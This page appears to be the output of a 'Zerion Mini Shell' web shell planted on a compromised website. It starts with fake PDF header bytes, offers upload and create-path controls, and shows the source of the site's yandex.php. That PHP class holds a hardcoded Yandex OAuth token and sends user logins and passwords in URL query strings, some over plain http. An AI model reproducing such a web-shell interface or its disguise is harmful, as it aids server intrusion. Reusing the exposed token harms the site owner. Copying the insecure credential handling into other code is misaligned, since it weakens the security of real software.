%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/cargonizer/domains/cargonizer.com.tr/public_html/includes/
Upload File :
Create Path :
Current File : /home/cargonizer/domains/cargonizer.com.tr/public_html/includes/yandex.php

<?php
    class Yandex {
        public $id = '';
        public $token = '6276159d0bc8483f8f08f106c35f6d3f';
        public $mtoken;

        public function get_users($page=1,$perpage=100){
            $data = $this->xmlparser(file_get_contents('https://api.kurum.yandex.com.tr/get_domain_users.xml?token='.$this->mtoken.'&on_page='.$perpage.'&page='.$page));
            return $data->domains->domain;
        }

        public function reg_user($domain,$login,$password) {
            $data = $this->xmlparser(file_get_contents('https://api.kurum.yandex.com.tr/api/reg_user.xml?token='.$this->mtoken.'&domain='.$domain.'&login='.$login.'&passwd='.$password.''));
            return $data;
        }

        public function del_user($user) {
            $data = $this->xmlparser(file_get_contents('https://api.kurum.yandex.com.tr/delete_user.xml?token='.$this->mtoken.'&login='.$user.''));
            return $data;
        }

        public function change_pass($login,$pass){
            $data = $this->xmlparser(file_get_contents('https://api.kurum.yandex.com.tr/edit_user.xml?token='.$this->mtoken.'&login='.$login.'&password='.$pass));
            return $data;

        }
        public function hourly() {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/traffic/hourly?id=%s&oauth_token=%s&date1=%s&date2=%s',$this->id,$this->token,date("Ymd"),date("Ymd")));
            $xml = $this->xmlparser($data);
            return $xml;
        }

        public function genel() {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/traffic/summary?id=%s&oauth_token=%s&group=month',$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }

        public function keywords($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/sources/phrases?id=%s&oauth_token=%s&filter=week&group=all&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }

        public function sitelink($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/content/popular?id=%s&oauth_token=%s&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }
        public function tarayici($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/tech/browsers?id=%s&oauth_token=%s&&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }
        public function ekran($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/tech/display?id=%s&oauth_token=%s&&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }      
        public function mobil($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/tech/mobile?id=%s&oauth_token=%s&&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }
        public function isletim($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/tech/os?id=%s&oauth_token=%s&&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }
        public function ulke($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/geo?id=%s&oauth_token=%s&table_mode=plain&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }
        public function reklam($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/sources/marketing?id=%s&oauth_token=%s&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }
        public function giris($limit=3) {
            $data = file_get_contents(sprintf('http://api-metrika.yandex.com.tr/stat/content/entrance?id=%s&oauth_token=%s&per_page='.$limit,$this->id,$this->token));
            $xml = $this->xmlparser($data);
            return $xml;
        }

        private function xmlparser($xml) {
            $result = simplexml_load_string($xml);
            return $result;
        }
    }
?>

Zerion Mini Shell 1.0